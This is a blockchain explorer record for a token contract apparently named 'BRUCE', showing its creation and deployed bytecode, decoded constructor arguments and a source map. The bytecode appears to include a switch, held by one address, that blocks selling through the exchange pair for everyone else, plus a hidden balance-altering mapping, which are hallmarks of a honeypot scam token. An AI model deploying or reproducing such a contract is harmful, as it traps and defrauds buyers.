01b0385811661010090920416145b15610a4957610a316064610a2b600c54600a5414610a2057600e54610a24565b6007545b8590610e6c565b90610e7f565b600b80549192506000610a43836112f1565b91905055505b6015546001600160a01b038481169116148015610a6f57506001600160a01b0384163014155b8015610a9457506001600160a01b03841660009081526003602052604090205460ff16155b15610ac557610abe6064610a2b600d54600a5411610ab457600f54610a24565b6008548590610e6c565b9050610b1e565b6015546001600160a01b038581169116148015610afb57506001600160a01b03831660009081526003602052604090205460ff16155b15610b1e57610b1b6064610a2b600c54600a5411610a2057600e54610a24565b90505b30600090815260016020526040902054601554600160a81b900460ff16158015610b5557506015546001600160a01b038581169116145b8015610b6a5750601554600160b01b900460ff165b8015610b77575060125481115b8015610b865750600954600a54115b15610bba57610ba8610ba384610b9e84601354610e8b565b610e8b565b610ea0565b478015610bb857610bb847610e2e565b505b8115610beb5730600090815260016020526040902054610bda908361104a565b306000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054610c0e9084611056565b6001600160a01b038616600090815260016020526040812091909155610c366008600a6112ab565b610c44906305f5e1006112ba565b610c509060001961130c565b6001600160a01b03861660009081526004602052604090205490915060ff16610c7a576000610c7c565b805b610ca8610c898686611056565b6001600160a01b0388166000908152600160205260409020549061104a565b610cb291906112d9565b6001600160a01b038616600081815260016020526040902091909155301480610cfb57506001600160a01b03861630148015610cfb57506015546001600160a01b038681169116145b15610d0557610d50565b6001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3e8787611056565b60405190815260200160405180910390a35b505050505050565b60008184841115610d7c5760405162461bcd60e51b81526004016105999190611062565b505050900390565b6000546001600160a01b0316331461050c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610599565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e68573d6000803e3d6000fd5b5050565b6000610e7882846112ba565b9392505050565b6000610e788284611323565b6000818311610e9a5782610e78565b50919050565b6015805460ff60a81b1916600160a81b17905580610ebd5761103a565b601554600160a01b900460ff16610ed35761103a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f0857610f08611345565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f5c57600080fd5b505afa158015610f70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f94919061135b565b81600181518110610fa757610fa7611345565b6001600160a01b039283166020918202929092010152601454610fcd91309116846105ab565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611006908590600090869030904290600401611378565b600060405180830381600087803b15801561102057600080fd5b505af1158015611034573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b6000610e7882846112d9565b6000610e78828461130c565b600060208083528351808285015260005b8181101561108f57858101830151858201604001528201611073565b818111156110a1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052057600080fd5b600080604083850312156110df57600080fd5b82356110ea816110b7565b946020939093013593505050565b60006020828403121561110a57600080fd5b81358015158114610e7857600080fd5b60008060006060848603121561112f57600080fd5b833561113a816110b7565b9250602084013561114a816110b7565b929592945050506040919091013590565b60006020828403121561116d57600080fd5b8135610e78816110b7565b6000806040838503121561118b57600080fd5b8235611196816110b7565b915060208301356111a6816110b7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112025781600019048211156111e8576111e86111b1565b808516156111f557918102915b93841c93908002906111cc565b509250929050565b600082611219575060016103b7565b81611226575060006103b7565b816001811461123c576002811461124657611262565b60019150506103b7565b60ff841115611257576112576111b1565b50506001821b6103b7565b5060208310610133831016604e8410600b8410161715611285575081810a6103b7565b61128f83836111c7565b80600019048211156112a3576112a36111b1565b029392505050565b6000610e7860ff84168361120a565b60008160001904831182151516156112d4576112d46111b1565b500290565b600082198211156112ec576112ec6111b1565b500190565b6000600019821415611305576113056111b1565b5060010190565b60008282101561131e5761131e6111b1565b500390565b60008261134057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561136d57600080fd5b8151610e78816110b7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113c85784516001600160a01b0316835293830193918301916001016113a3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fad98bd9c5bc6cbeb71b49eaf8e13e93fb2418bfe94e61500de4682b3f338ec64736f6c63430008090033000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000003f905f391db8d0deea6bb0491ab75987ed33180b00000000000000000000000066c5ebd5c54b0770af5a09ef0d0dcac2b6a76106
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b4114610124578063a9059cbb1461030a578063bf474bed1461032a578063dd62ed3e14610340578063f2fde38b1461038657600080fd5b8063715018a6146102965780637d1db4a5146102ab5780638505ceca146102c15780638da5cb5b146102d65780638f9a55c0146102f457600080fd5b806318160ddd116100e757806318160ddd146101d757806323b872dd146101ec578063313ce5671461020c57806349bd5a5e1461022857806370a082311461026057600080fd5b806306fdde0314610124578063095ea7b3146101615780630faee56f1461019157806317090ec8146101b557600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820182526005815264425255434560d81b602082015290516101589190611062565b60405180910390f35b34801561016d57600080fd5b5061018161017c3660046110cc565b6103a6565b6040519015158152602001610158565b34801561019d57600080fd5b506101a760135481565b604051908152602001610158565b3480156101c157600080fd5b506101d56101d03660046110f8565b6103bd565b005b3480156101e357600080fd5b506101a7610470565b3480156101f857600080fd5b5061018161020736600461111a565b610491565b34801561021857600080fd5b5060405160088152602001610158565b34801561023457600080fd5b50601554610248906001600160a01b031681565b6040516001600160a01b039091168152602001610158565b34801561026c57600080fd5b506101a761027b36600461115b565b6001600160a01b031660009081526001602052604090205490565b3480156102a257600080fd5b506101d56104fa565b3480156102b757600080fd5b506101a760105481565b3480156102cd57600080fd5b506101d561050e565b3480156102e257600080fd5b506000546001600160a01b0316610248565b34801561030057600080fd5b506101a760115481565b34801561031657600080fd5b506101816103253660046110cc565b610523565b34801561033657600080fd5b506101a760125481565b34801561034c57600080fd5b506101a761035b366004611178565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561039257600080fd5b506101d56103a136600461115b565b610530565b60006103b33384846105ab565b5060015b92915050565b60055461010090046001600160a01b031633146103d957600080fd5b6103e56008600a6112ab565b6103f3906305f5e1006112ba565b6010556104026008600a6112ab565b610410906305f5e1006112ba565b6011556005805460ff19168215151790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61044e6008600a6112ab565b61045c906305f5e1006112ba565b60405190815260200160405180910390a150565b600061047e6008600a6112ab565b61048c906305f5e1006112ba565b905090565b600061049e8484846106cf565b6104f084336104eb856040518060600160405280602881526020016113ea602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d58565b6105ab565b5060019392505050565b610502610d84565b61050c6000610dde565b565b610516610d84565b4761052081610e2e565b50565b60006103b33384846106cf565b610538610d84565b6001600160a01b0381166105a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61052081610dde565b6001600160a01b03831661060d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610599565b6001600160a01b03821661066e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610599565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610599565b6001600160a01b0382166107955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610599565b600081116107f75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610599565b60055460009060ff161561088d576014546001600160a01b038481169116148061082e57506015546001600160a01b038481169116145b1561088d576005546001600160a01b03858116610100909204161461088d5760405162461bcd60e51b81526020600482015260156024820152742cb7ba9030b932903737ba103a34329037bbb732b960591b6044820152606401610599565b6015546001600160a01b0385811691161480156108b857506014546001600160a01b03848116911614155b80156108dd57506001600160a01b03831660009081526003602052604090205460ff16155b156109c5576010548211156109345760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e7400000000000000006044820152606401610599565b60115482610957856001600160a01b031660009081526001602052604090205490565b61096191906112d9565b11156109af5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a65000000000000006044820152606401610599565b600a80549060006109bf836112f1565b91905055505b600b541580156109e257506015546001600160a01b038481169116145b8015610a0057506005546001600160a01b0385811661010090920416145b15610a4957610a316064610a2b600c54600a5414610a2057600e54610a24565b6007545b8590610e6c565b90610e7f565b600b80549192506000610a43836112f1565b91905055505b6015546001600160a01b038481169116148015610a6f57506001600160a01b0384163014155b8015610a9457506001600160a01b03841660009081526003602052604090205460ff16155b15610ac557610abe6064610a2b600d54600a5411610ab457600f54610a24565b6008548590610e6c565b9050610b1e565b6015546001600160a01b038581169116148015610afb57506001600160a01b03831660009081526003602052604090205460ff16155b15610b1e57610b1b6064610a2b600c54600a5411610a2057600e54610a24565b90505b30600090815260016020526040902054601554600160a81b900460ff16158015610b5557506015546001600160a01b038581169116145b8015610b6a5750601554600160b01b900460ff165b8015610b77575060125481115b8015610b865750600954600a54115b15610bba57610ba8610ba384610b9e84601354610e8b565b610e8b565b610ea0565b478015610bb857610bb847610e2e565b505b8115610beb5730600090815260016020526040902054610bda908361104a565b306000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054610c0e9084611056565b6001600160a01b038616600090815260016020526040812091909155610c366008600a6112ab565b610c44906305f5e1006112ba565b610c509060001961130c565b6001600160a01b03861660009081526004602052604090205490915060ff16610c7a576000610c7c565b805b610ca8610c898686611056565b6001600160a01b0388166000908152600160205260409020549061104a565b610cb291906112d9565b6001600160a01b038616600081815260016020526040902091909155301480610cfb57506001600160a01b03861630148015610cfb57506015546001600160a01b038681169116145b15610d0557610d50565b6001600160a01b038086169087167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d3e8787611056565b60405190815260200160405180910390a35b505050505050565b60008184841115610d7c5760405162461bcd60e51b81526004016105999190611062565b505050900390565b6000546001600160a01b0316331461050c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610599565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e68573d6000803e3d6000fd5b5050565b6000610e7882846112ba565b9392505050565b6000610e788284611323565b6000818311610e9a5782610e78565b50919050565b6015805460ff60a81b1916600160a81b17905580610ebd5761103a565b601554600160a01b900460ff16610ed35761103a565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f0857610f08611345565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f5c57600080fd5b505afa158015610f70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f94919061135b565b81600181518110610fa757610fa7611345565b6001600160a01b039283166020918202929092010152601454610fcd91309116846105ab565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611006908590600090869030904290600401611378565b600060405180830381600087803b15801561102057600080fd5b505af1158015611034573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b6000610e7882846112d9565b6000610e78828461130c565b600060208083528351808285015260005b8181101561108f57858101830151858201604001528201611073565b818111156110a1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052057600080fd5b600080604083850312156110df57600080fd5b82356110ea816110b7565b946020939093013593505050565b60006020828403121561110a57600080fd5b81358015158114610e7857600080fd5b60008060006060848603121561112f57600080fd5b833561113a816110b7565b9250602084013561114a816110b7565b929592945050506040919091013590565b60006020828403121561116d57600080fd5b8135610e78816110b7565b6000806040838503121561118b57600080fd5b8235611196816110b7565b915060208301356111a6816110b7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112025781600019048211156111e8576111e86111b1565b808516156111f557918102915b93841c93908002906111cc565b509250929050565b600082611219575060016103b7565b81611226575060006103b7565b816001811461123c576002811461124657611262565b60019150506103b7565b60ff841115611257576112576111b1565b50506001821b6103b7565b5060208310610133831016604e8410600b8410161715611285575081810a6103b7565b61128f83836111c7565b80600019048211156112a3576112a36111b1565b029392505050565b6000610e7860ff84168361120a565b60008160001904831182151516156112d4576112d46111b1565b500290565b600082198211156112ec576112ec6111b1565b500190565b6000600019821415611305576113056111b1565b5060010190565b60008282101561131e5761131e6111b1565b500390565b60008261134057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561136d57600080fd5b8151610e78816110b7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113c85784516001600160a01b0316835293830193918301916001016113a3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fad98bd9c5bc6cbeb71b49eaf8e13e93fb2418bfe94e61500de4682b3f338ec64736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000001e000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000003f905f391db8d0deea6bb0491ab75987ed33180b00000000000000000000000066c5ebd5c54b0770af5a09ef0d0dcac2b6a76106
-----Decoded View---------------
Arg [0] : _buy (uint256): 30
Arg [1] : _sell (uint256): 30
Arg [2] : _address (address): 0x3f905F391db8d0deEA6bb0491aB75987ed33180B
Arg [3] : _devAddress (address): 0x66C5EBD5c54b0770af5a09Ef0d0DCaC2B6a76106
-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000000000000000000000001e
Arg [1] : 000000000000000000000000000000000000000000000000000000000000001e
Arg [2] : 0000000000000000000000003f905f391db8d0deea6bb0491ab75987ed33180b
Arg [3] : 00000000000000000000000066c5ebd5c54b0770af5a09ef0d0dcac2b6a76106
Deployed Bytecode Sourcemap
275:7704:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2640:81;;;;;;;;;;-1:-1:-1;2709:5:0;;;;;;;;;;;-1:-1:-1;;;2709:5:0;;;;2640:81;;;;2709:5;2640:81;:::i;:::-;;;;;;;;3444:158;;;;;;;;;;-1:-1:-1;3444:158:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:8;;1230:22;1212:41;;1200:2;1185:18;3444:158:0;1072:187:8;1412:53:0;;;;;;;;;;;;;;;;;;;1410:25:8;;;1398:2;1383:18;1412:53:0;1264:177:8;7456:230:0;;;;;;;;;;-1:-1:-1;7456:230:0;;;;;:::i;:::-;;:::i;:::-;;2905:93;;;;;;;;;;;;;:::i;3608:309::-;;;;;;;;;;-1:-1:-1;3608:309:0;;;;;:::i;:::-;;:::i;2818:81::-;;;;;;;;;;-1:-1:-1;2818:81:0;;485:1;2327:36:8;;2315:2;2300:18;2818:81:0;2185:184:8;1520:28:0;;;;;;;;;;-1:-1:-1;1520:28:0;;;;-1:-1:-1;;;;;1520:28:0;;;;;;-1:-1:-1;;;;;2538:32:8;;;2520:51;;2508:2;2493:18;1520:28:0;2374:203:8;3004:117:0;;;;;;;;;;-1:-1:-1;3004:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;3096:18:0;3070:7;3096:18;;;:9;:18;;;;;;;3004:117;1824:101:6;;;;;;;;;;;;;:::i;1224:55:0:-;;;;;;;;;;;;;;;;7788:153;;;;;;;;;;;;;:::i;1194:85:6:-;;;;;;;;;;-1:-1:-1;1240:7:6;1266:6;-1:-1:-1;;;;;1266:6:6;1194:85;;1285:57:0;;;;;;;;;;;;;;;;3127:164;;;;;;;;;;-1:-1:-1;3127:164:0;;;;;:::i;:::-;;:::i;1348:58::-;;;;;;;;;;;;;;;;3297:141;;;;;;;;;;-1:-1:-1;3297:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;3404:18:0;;;3378:7;3404:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3297:141;2074:198:6;;;;;;;;;;-1:-1:-1;2074:198:6;;;;;:::i;:::-;;:::i;3444:158:0:-;3519:4;3535:39;736:10:1;3558:7:0;3567:6;3535:8;:39::i;:::-;-1:-1:-1;3591:4:0;3444:158;;;;;:::o;7456:230::-;7531:10;;;;;-1:-1:-1;;;;;7531:10:0;7517;:24;7509:33;;;;;;1202:15;485:1;1202:2;:15;:::i;:::-;1190:27;;:9;:27;:::i;:::-;7552:12;:22;1202:15;485:1;1202:2;:15;:::i;:::-;1190:27;;:9;:27;:::i;:::-;7584:14;:24;7618:11;:19;;-1:-1:-1;;7618:19:0;;;;;;;7652:27;1202:15;485:1;1202:2;:15;:::i;:::-;1190:27;;:9;:27;:::i;:::-;7652;;1410:25:8;;;1398:2;1383:18;7652:27:0;;;;;;;7456:230;:::o;2905:93::-;2958:7;1202:15;485:1;1202:2;:15;:::i;:::-;1190:27;;:9;:27;:::i;:::-;2977:14;;2905:93;:::o;3608:309::-;3706:4;3722:36;3732:6;3740:9;3751:6;3722:9;:36::i;:::-;3768:121;3777:6;736:10:1;3799:89:0;3837:6;3799:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3799:19:0;;;;;;:11;:19;;;;;;;;736:10:1;3799:33:0;;;;;;;;;;:37;:89::i;:::-;3768:8;:121::i;:::-;-1:-1:-1;3906:4:0;3608:309;;;;;:::o;1824:101:6:-;1087:13;:11;:13::i;:::-;1888:30:::1;1915:1;1888:18;:30::i;:::-;1824:101::o:0;7788:153:0:-;1087:13:6;:11;:13::i;:::-;7871:21:0::1;7902:32;7871:21:::0;7902:12:::1;:32::i;:::-;7832:109;7788:153::o:0;3127:164::-;3205:4;3221:42;736:10:1;3245:9:0;3256:6;3221:9;:42::i;2074:198:6:-;1087:13;:11;:13::i;:::-;-1:-1:-1;;;;;2162:22:6;::::1;2154:73;;;::::0;-1:-1:-1;;;2154:73:6;;5117:2:8;2154:73:6::1;::::0;::::1;5099:21:8::0;5156:2;5136:18;;;5129:30;5195:34;5175:18;;;5168:62;-1:-1:-1;;;5246:18:8;;;5239:36;5292:19;;2154:73:6::1;;;;;;;;;2237:28;2256:8;2237:18;:28::i;3923:330:0:-:0;-1:-1:-1;;;;;4015:19:0;;4007:68;;;;-1:-1:-1;;;4007:68:0;;5524:2:8;4007:68:0;;;5506:21:8;5563:2;5543:18;;;5536:30;5602:34;5582:18;;;5575:62;-1:-1:-1;;;5653:18:8;;;5646:34;5697:19;;4007:68:0;5322:400:8;4007:68:0;-1:-1:-1;;;;;4093:21:0;;4085:68;;;;-1:-1:-1;;;4085:68:0;;5929:2:8;4085:68:0;;;5911:21:8;5968:2;5948:18;;;5941:30;6007:34;5987:18;;;5980:62;-1:-1:-1;;;6058:18:8;;;6051:32;6100:19;;4085:68:0;5727:398:8;4085:68:0;-1:-1:-1;;;;;4163:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4214:32;;1410:25:8;;;4214:32:0;;1383:18:8;4214:32:0;;;;;;;3923:330;;;:::o;4259:2476::-;-1:-1:-1;;;;;4346:18:0;;4338:68;;;;-1:-1:-1;;;4338:68:0;;6332:2:8;4338:68:0;;;6314:21:8;6371:2;6351:18;;;6344:30;6410:34;6390:18;;;6383:62;-1:-1:-1;;;6461:18:8;;;6454:35;6506:19;;4338:68:0;6130:401:8;4338:68:0;-1:-1:-1;;;;;4424:16:0;;4416:64;;;;-1:-1:-1;;;4416:64:0;;6738:2:8;4416:64:0;;;6720:21:8;6777:2;6757:18;;;6750:30;6816:34;6796:18;;;6789:62;-1:-1:-1;;;6867:18:8;;;6860:33;6910:19;;4416:64:0;6536:399:8;4416:64:0;4507:1;4498:6;:10;4490:64;;;;-1:-1:-1;;;4490:64:0;;7142:2:8;4490:64:0;;;7124:21:8;7181:2;7161:18;;;7154:30;7220:34;7200:18;;;7193:62;-1:-1:-1;;;7271:18:8;;;7264:39;7320:19;;4490:64:0;6940:405:8;4490:64:0;4600:11;;4564:17;;4600:11;;4596:194;;;4645:15;;-1:-1:-1;;;;;4631:30:0;;;4645:15;;4631:30;;:62;;-1:-1:-1;4679:13:0;;-1:-1:-1;;;;;4665:28:0;;;4679:13;;4665:28;4631:62;4627:153;;;4729:10;;-1:-1:-1;;;;;4721:18:0;;;4729:10;;;;;4721:18;4713:52;;;;-1:-1:-1;;;4713:52:0;;7552:2:8;4713:52:0;;;7534:21:8;7591:2;7571:18;;;7564:30;-1:-1:-1;;;7610:18:8;;;7603:51;7671:18;;4713:52:0;7350:345:8;4713:52:0;4818:13;;-1:-1:-1;;;;;4810:21:0;;;4818:13;;4810:21;:55;;;;-1:-1:-1;4849:15:0;;-1:-1:-1;;;;;4835:30:0;;;4849:15;;4835:30;;4810:55;:82;;;;-1:-1:-1;;;;;;4870:22:0;;;;;;:18;:22;;;;;;;;4869:23;4810:82;4806:306;;;4931:12;;4921:6;:22;;4913:59;;;;-1:-1:-1;;;4913:59:0;;7902:2:8;4913:59:0;;;7884:21:8;7941:2;7921:18;;;7914:30;7980:26;7960:18;;;7953:54;8024:18;;4913:59:0;7700:348:8;4913:59:0;5024:14;;5014:6;4998:13;5008:2;-1:-1:-1;;;;;3096:18:0;3070:7;3096:18;;;:9;:18;;;;;;;3004:117;4998:13;:22;;;;:::i;:::-;:40;;4990:78;;;;-1:-1:-1;;;4990:78:0;;8388:2:8;4990:78:0;;;8370:21:8;8427:2;8407:18;;;8400:30;8466:27;8446:18;;;8439:55;8511:18;;4990:78:0;8186:349:8;4990:78:0;5086:9;:11;;;:9;:11;;;:::i;:::-;;;;;;4806:306;5130:6;;:11;:34;;;;-1:-1:-1;5151:13:0;;-1:-1:-1;;;;;5145:19:0;;;5151:13;;5145:19;5130:34;:56;;;;-1:-1:-1;5176:10:0;;-1:-1:-1;;;;;5168:18:0;;;5176:10;;;;;5168:18;5130:56;5126:211;;;5230:66;5292:3;5230:57;5255:6;;5242:9;;:19;5241:45;;5275:11;;5241:45;;;5265:7;;5241:45;5230:6;;:10;:57::i;:::-;:61;;:66::i;:::-;5314:6;:8;;5218:78;;-1:-1:-1;5314:6:0;:8;;;:::i;:::-;;;;;;5126:211;5361:13;;-1:-1:-1;;;;;5355:19:0;;;5361:13;;5355:19;:44;;;;-1:-1:-1;;;;;;5378:21:0;;5394:4;5378:21;;5355:44;:73;;;;-1:-1:-1;;;;;;5404:24:0;;;;;;:18;:24;;;;;;;;5403:25;5355:73;5351:361;;;5460:67;5523:3;5460:58;5484:6;;5472:9;;:18;5471:46;;5505:12;;5471:46;;;5494:8;;5460:6;;:10;:58::i;:67::-;5448:79;;5351:361;;;5560:13;;-1:-1:-1;;;;;5552:21:0;;;5560:13;;5552:21;:48;;;;-1:-1:-1;;;;;;5578:22:0;;;;;;:18;:22;;;;;;;;5577:23;5552:48;5548:164;;;5632:65;5693:3;5632:56;5656:6;;5644:9;;:18;5643:44;;5676:11;;5643:44;;5632:65;5620:77;;5548:164;5775:4;5726:28;3096:18;;;:9;:18;;;;;;5800:6;;-1:-1:-1;;;5800:6:0;;;;5799:7;:30;;;;-1:-1:-1;5816:13:0;;-1:-1:-1;;;;;5810:19:0;;;5816:13;;5810:19;5799:30;:45;;;;-1:-1:-1;5833:11:0;;-1:-1:-1;;;5833:11:0;;;;5799:45;:89;;;;;5871:17;;5848:20;:40;5799:89;:118;;;;;5904:13;;5892:9;;:25;5799:118;5795:415;;;5937:69;5954:51;5958:6;5966:38;5970:20;5992:11;;5966:3;:38::i;:::-;5954:3;:51::i;:::-;5937:16;:69::i;:::-;6053:21;6096:22;;6092:104;;6142:35;6155:21;6142:12;:35::i;:::-;5919:291;5795:415;6224:13;;6220:106;;6294:4;6276:24;;;;:9;:24;;;;;;:39;;6305:9;6276:28;:39::i;:::-;6267:4;6249:24;;;;:9;:24;;;;;:66;6220:106;-1:-1:-1;;;;;6353:15:0;;;;;;:9;:15;;;;;;:27;;6373:6;6353:19;:27::i;:::-;-1:-1:-1;;;;;6335:15:0;;;;;;:9;:15;;;;;:45;;;;1202:15;485:1;1202:2;:15;:::i;:::-;1190:27;;:9;:27;:::i;:::-;6413:21;;-1:-1:-1;;6413:21:0;:::i;:::-;-1:-1:-1;;;;;6505:19:0;;;;;;:15;:19;;;;;;6390:44;;-1:-1:-1;6505:19:0;;6504:42;;6544:1;6504:42;;;6528:12;6504:42;6460:40;6478:21;:6;6489:9;6478:10;:21::i;:::-;-1:-1:-1;;;;;6460:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;:87;;;;:::i;:::-;-1:-1:-1;;;;;6444:13:0;;;;;;:9;:13;;;;;:103;;;;6584:4;6570:19;;:69;;-1:-1:-1;;;;;;6594:21:0;;6610:4;6594:21;:44;;;;-1:-1:-1;6625:13:0;;-1:-1:-1;;;;;6619:19:0;;;6625:13;;6619:19;6594:44;6566:163;;;;;;-1:-1:-1;;;;;6677:41:0;;;;;;;6696:21;:6;6707:9;6696:10;:21::i;:::-;6677:41;;1410:25:8;;;1398:2;1383:18;6677:41:0;;;;;;;6566:163;4328:2407;;;4259:2476;;;:::o;4959:231:7:-;5075:7;5134:12;5126:6;;;;5118:29;;;;-1:-1:-1;;;5118:29:7;;;;;;;;:::i;:::-;-1:-1:-1;;;5168:5:7;;;4959:231::o;1352:130:6:-;1240:7;1266:6;-1:-1:-1;;;;;1266:6:6;736:10:1;1415:23:6;1407:68;;;;-1:-1:-1;;;1407:68:6;;9012:2:8;1407:68:6;;;8994:21:8;;;9031:18;;;9024:30;9090:34;9070:18;;;9063:62;9142:18;;1407:68:6;8810:356:8;2426:187:6;2499:16;2518:6;;-1:-1:-1;;;;;2534:17:6;;;-1:-1:-1;;;;;;2534:17:6;;;;;;2566:40;;2518:6;;;;;;;2566:40;;2499:16;2566:40;2489:124;2426:187;:::o;7692:90:0:-;7748:10;;:27;;-1:-1:-1;;;;;7748:10:0;;;;:27;;;;;7768:6;;7748:10;:27;:10;:27;7768:6;7748:10;:27;;;;;;;;;;;;;;;;;;;;;7692:90;:::o;3465:96:7:-;3523:7;3549:5;3553:1;3549;:5;:::i;:::-;3542:12;3465:96;-1:-1:-1;;;3465:96:7:o;3850:::-;3908:7;3934:5;3938:1;3934;:5;:::i;6742:103:0:-;6799:7;6828:1;6824;:5;6822:16;;6837:1;6822:16;;;-1:-1:-1;6833:1:0;6742:103;-1:-1:-1;6742:103:0:o;6851:599::-;1747:6;:13;;-1:-1:-1;;;;1747:13:0;-1:-1:-1;;;1747:13:0;;;6932:16;6928:57:::1;;6964:7;;6928:57;6999:11;::::0;-1:-1:-1;;;6999:11:0;::::1;;;6994:53;;7026:7;;6994:53;7080:16;::::0;;7094:1:::1;7080:16:::0;;;;;::::1;::::0;;7056:21:::1;::::0;7080:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7080:16:0::1;7056:40;;7124:4;7106;7111:1;7106:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7106:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7149:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7149:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7106:7;;7149:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7139:4;7144:1;7139:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7139:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7213:15:::1;::::0;7181:62:::1;::::0;7198:4:::1;::::0;7213:15:::1;7231:11:::0;7181:8:::1;:62::i;:::-;7253:15;::::0;:190:::1;::::0;-1:-1:-1;;;7253:190:0;;-1:-1:-1;;;;;7253:15:0;;::::1;::::0;:66:::1;::::0;:190:::1;::::0;7333:11;;7253:15:::1;::::0;7373:4;;7399::::1;::::0;7418:15:::1;::::0;7253:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;6918:532;1770:1;-1:-1:-1::0;1781:6:0;:14;;-1:-1:-1;;;;1781:14:0;;;6851:599::o;2755:96:7:-;2813:7;2839:5;2843:1;2839;:5;:::i;3122:96::-;3180:7;3206:5;3210:1;3206;:5;:::i;14:597:8:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;